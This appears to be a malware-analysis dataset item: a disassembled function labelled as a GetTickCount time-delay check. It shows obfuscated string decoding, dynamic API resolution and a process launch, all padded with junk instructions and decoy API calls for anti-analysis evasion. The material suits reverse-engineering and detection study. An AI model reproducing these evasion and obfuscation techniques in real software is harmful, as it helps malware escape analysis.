Function at 0x46b80c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x1a
push 0
push 0
dec ecx
jne 0x46b815
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.0040484c
xor eax, eax
push ebp
push 0x46c023
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.gdi32.dll_DeleteEnhMetaFile
push esi
push eax
xchg esi, eax
xor eax, 0x19c
sub esi, 0x19e
nop
sub eax, 0x30
inc esi
pop eax
pop esi
lea ecx, [ebp - 0x94]
xor edx, edx
mov al, 0x92
call fcn.0046b4fc
mov edx, dword [ebp - 0x94]
lea ecx, [ebp - 0x90]
mov al, 0x92
call fcn.0046b4fc
mov edx, dword [ebp - 0x90]
lea ecx, [ebp - 0x8c]
mov al, 0x9a
call fcn.0046b4fc
mov edx, dword [ebp - 0x8c]
lea ecx, [ebp - 0x88]
mov al, 0xd0
call fcn.0046b4fc
mov edx, dword [ebp - 0x88]
lea ecx, [ebp - 0x84]
mov al, 0xcc
call fcn.0046b4fc
mov edx, dword [ebp - 0x84]
lea ecx, [ebp - 0x80]
mov al, 0xcb
call fcn.0046b4fc
mov edx, dword [ebp - 0x80]
lea ecx, [ebp - 0x7c]
mov al, 0x92
call fcn.0046b4fc
mov edx, dword [ebp - 0x7c]
lea ecx, [ebp - 0x78]
mov al, 0x99
call fcn.0046b4fc
mov edx, dword [ebp - 0x78]
lea ecx, [ebp - 0x74]
mov al, 0x90
call fcn.0046b4fc
mov edx, dword [ebp - 0x74]
lea ecx, [ebp - 0x70]
mov al, 0x8c
call fcn.0046b4fc
mov edx, dword [ebp - 0x70]
lea ecx, [ebp - 0x6c]
mov al, 0x99
call fcn.0046b4fc
mov edx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x68]
mov al, 0x93
call fcn.0046b4fc
mov eax, dword [ebp - 0x68]
call fcn.0040485c
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
push edi
push esi
or esi, 0x182
dec edi
add esi, 0x130
inc esi
and esi, 0x4b
or edi, 0x13a
or esi, 0x16e
nop
nop
pop esi
pop edi
call sub.kernel32.dll_GetTickCount
push edi
push eax
and eax, 0x18d
dec eax
sub edi, 0x1ac
push eax
pop eax
add edi, 0x84
inc edi
add eax, 0x16b
push eax
pop eax
push eax
pop eax
sub edi, 0xf7
add eax, 0x89
nop
nop
nop
xor eax, 0xdd
or edi, 8
pop eax
pop edi
lea ecx, [ebp - 0xcc]
xor edx, edx
mov al, 0xbd
call fcn.0046b4fc
mov edx, dword [ebp - 0xcc]
lea ecx, [ebp - 0xc8]
mov al, 0x8b
call fcn.0046b4fc
mov edx, dword [ebp - 0xc8]
lea ecx, [ebp - 0xc4]
mov al, 0x8b
call fcn.0046b4fc
mov edx, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc0]
mov al, 0x99
call fcn.0046b4fc
mov edx, dword [ebp - 0xc0]
lea ecx, [ebp - 0xbc]
mov al, 0x9b
call fcn.0046b4fc
mov edx, dword [ebp - 0xbc]
lea ecx, [ebp - 0xb8]
mov al, 0x8f
call fcn.0046b4fc
mov edx, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb4]
mov al, 0x8c
call fcn.0046b4fc
mov edx, dword [ebp - 0xb4]
lea ecx, [ebp - 0xb0]
mov al, 0xae
call fcn.0046b4fc
mov edx, dword [ebp - 0xb0]
lea ecx, [ebp - 0xac]
mov al, 0x99
call fcn.0046b4fc
mov edx, dword [ebp - 0xac]
lea ecx, [ebp - 0xa8]
mov al, 0x8a
call fcn.0046b4fc
mov edx, dword [ebp - 0xa8]
lea ecx, [ebp - 0xa4]
mov al, 0x9d
call fcn.0046b4fc
mov edx, dword [ebp - 0xa4]
lea ecx, [ebp - 0xa0]
mov al, 0x99
call fcn.0046b4fc
mov edx, dword [ebp - 0xa0]
lea ecx, [ebp - 0x9c]
mov al, 0x8c
call fcn.0046b4fc
mov edx, dword [ebp - 0x9c]
lea ecx, [ebp - 0x98]
mov al, 0xbb
call fcn.0046b4fc
mov eax, dword [ebp - 0x98]
call fcn.0040485c
push eax
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x10], eax
push eax
push ebx
add ebx, 0x89
mov ebx, 0x99
xor eax, 0x104
inc eax
pop ebx
pop eax
push 1
call sub.kernel32.dll_CancelIo
push ecx
push edx
add ecx, 0x6d
sub ecx, 0x61
dec ecx
dec edx
add edx, 0x39
sub edx, 0x42
pop edx
pop ecx
push esi
lea ecx, [ebp - 0xd0]
xor edx, edx
mov al, 0xde
call fcn.0046b4fc
push dword [ebp - 0xd0]
push edi
lea eax, [ebp - 8]
mov edx, 3
call fcn.0040471c
push 1
call sub.gdi32.dll_AbortDoc
push ebx
inc ebx
xor ebx, 0x156
push ebx
pop ebx
nop
nop
nop
nop
push ebx
pop ebx
add ebx, 0xc
or ebx, 0xa9
sub ebx, 0x145
pop ebx
lea eax, [ebp - 0x54]
mov edx, 0x44
call fcn.00406ee4
push eax
push esi
xchg esi, esi
nop
nop
nop
nop
nop
xor eax, 0x128
nop
nop
nop
and esi, 0xe4
inc esi
mov eax, 0x19b
xor esi, 0x8f
mov eax, 0x98
inc eax
nop
nop
nop
push esi
pop esi
pop esi
pop eax
push 1
call sub.kernel32.dll_CancelIo
push ecx
push edx
add ecx, 0x6d
sub ecx, 0x61
dec ecx
dec edx
add edx, 0x39
sub edx, 0x42
pop edx
pop ecx
mov bl, 1
cmp dword [ebp - 4], 0
jne 0x46bb91
lea edx, [ebp - 0xd4]
mov eax, esi
call fcn.00408b60
mov eax, dword [ebp - 0xd4]
lea edx, [ebp - 4]
call fcn.0040ca04
push 1
call sub.kernel32.dll_CancelIo
push ecx
push edx
add ecx, 0x6d
sub ecx, 0x61
dec ecx
dec edx
add edx, 0x39
sub edx, 0x42
pop edx
pop ecx
mov dword [ebp - 0x54], 0x44
push 1
call sub.kernel32.dll_SetLastError
push edi
dec edi
xor edi, 0x142
add edi, 0x10
mov edi, 0x75
or edi, 0x1ac
pop edi
mov dword [ebp - 0x28], 1
push edx
push ecx
dec ecx
dec ecx
xor ecx, 0x47
nop
nop
nop
nop
nop
xor edx, 0xd6
mov ecx, 0x118
mov ecx, 0xd9
mov edx, 0x12c
push edx
pop edx
pop ecx
pop edx
push 1
call sub.user32.dll_EnumClipboardFormats
push eax
push ecx
dec eax
mov eax, 0x8a
push eax
pop eax
inc ecx
mov eax, 0x11a
or ecx, 6
and ecx, 0x53
xchg ecx, eax
xor ecx, 0xd1
and eax, 0x26
and ecx, 0x18a
add eax, 0x190
pop ecx
pop eax
mov word [ebp - 0x24], 0
push ecx
add ecx, 0x64
add ecx, 0x1b
nop
nop
nop
nop
nop
sub ecx, 0x57
and ecx, 0x184
pop ecx
cmp dword [ebp - 4], 0
je 0x46bc5e
mov eax, dword [ebp - 4]
call fcn.0040485c
mov dword [ebp - 0xc], eax
jmp 0x46bc63
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.0040485c
push eax
push 0
call dword [ebp - 0x10]
test eax, eax
jne 0x46be0c
push 0x46c038
call sub.kernel32.dll_AddAtomA
xor ebx, ebx
push edx
push ebx
or edx, 0xf5
inc edx
and ebx, 0x162
push ebx
pop ebx
xor ebx, 0x165
nop
nop
nop
nop
nop
or edx, 0x178
sub ebx, 0x82
xchg ebx, edx
xor edx, 0x190
pop ebx
pop edx
push 0x46c054
call sub.kernel32.dll_AddAtomA
call sub.kernel32.dll_GetLastError_1
mov edx, dword [ebp + 8]
mov dword [edx], eax
push ebx
push eax
mov eax, 0x19c
or ebx, 0x137
dec eax
nop
nop
nop
nop
and ebx, 0x43
and ebx, 0xf9
push ebx
pop ebx
xor ebx, 0x196
inc eax
add eax, 0xaf
inc ebx
add eax, 0x19d
pop eax
pop ebx
push 1
call sub.kernel32.dll_CancelIo
push ecx
push edx
add ecx, 0x6d
sub ecx, 0x61
dec ecx
dec edx
add edx, 0x39
sub edx, 0x42
pop edx
pop ecx
jmp 0x46bff8
push 1
call sub.kernel32.dll_SetLastError
push edi
dec edi
xor edi, 0x142
add edi, 0x10
mov edi, 0x75
or edi, 0x1ac
pop edi
push 1
call sub.gdi32.dll_AbortDoc
push ebx
inc ebx
xor ebx, 0x156
push ebx
pop ebx
nop
nop
nop
nop
push ebx
pop ebx
add ebx, 0xc
or ebx, 0xa9
sub ebx, 0x145
pop ebx
mov eax, dword [ebp - 0x60]
push eax
call sub.kernel32.dll_CloseHandle
push eax
push eax
pop eax
or eax, 0x13c
nop
nop
nop
xor eax, 0xbb
sub eax, 0x10a
xor eax, 0xce
or eax, 0x16f
xor eax, 0xee
or eax, 0x16f
nop
nop
nop
inc eax
mov eax, 0xfa
sub eax, 0x32
or eax, 0x1b
pop eax
call sub.user32.dll_GetActiveWindow
push edi
xchg edi, edi
or edi, 0xf3
push edi
pop edi
and edi, 0x1a0
sub edi, 0x3d
and edi, 0x2f
nop
nop
nop
nop
nop
dec edi
sub edi, 0x39
inc edi
add edi, 0xb7
nop
nop
nop
nop
nop
sub edi, 0x115
pop edi
push 0xffffffffffffffff
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_WaitForSingleObject
call sub.kernel32.dll_GetTickCount
push edi
push eax
and eax, 0x18d
dec eax
sub edi, 0x1ac
push eax
pop eax
add edi, 0x84
inc edi
add eax, 0x16b
push eax
pop eax
push eax
pop eax
sub edi, 0xf7
add eax, 0x89
nop
nop
nop
xor eax, 0xdd
or edi, 8
pop eax
pop edi
mov eax, dword [ebp - 0x64]
push eax
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_GetTickCount
push edi
push eax
and eax, 0x18d
dec eax
sub edi, 0x1ac
push eax
pop eax
add edi, 0x84
inc edi
add eax, 0x16b
push eax
pop eax
push eax
pop eax
sub edi, 0xf7
add eax, 0x89
nop
nop
nop
xor eax, 0xdd
or edi, 8
pop eax
pop edi
push 1
call sub.gdi32.dll_AbortDoc
push ebx
inc ebx
xor ebx, 0x156
push ebx
pop ebx
nop
nop
nop
nop
push ebx
pop ebx
add ebx, 0xc
or ebx, 0xa9
sub ebx, 0x145
pop ebx
push 1
call sub.kernel32.dll_CancelIo
push ecx
push edx
add ecx, 0x6d
sub ecx, 0x61
dec ecx
dec edx
add edx, 0x39
sub edx, 0x42
pop edx
pop ecx
push 1
call sub.gdi32.dll_AbortDoc
push edi
sub edi, 0x14e
dec edi
inc edi
dec edi
add edi, 0x140
push edi
pop edi
sub edi, 6
xchg edi, edi
mov edi, 0xda
mov edi, 0x36
push edi
pop edi
xor edi, 0x15d
xor edi, 0x90
or edi, 0x12a
push edi
pop edi
pop edi
push ebx
inc ebx
xor ebx, 0x156
push ebx
pop ebx
nop
nop
nop
nop
push ebx
pop ebx
add ebx, 0xc
or ebx, 0xa9
sub ebx, 0x145
pop ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c02a
lea eax, [ebp - 0xd4]
mov edx, 0x1c
call fcn.004043c0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004043c0
ret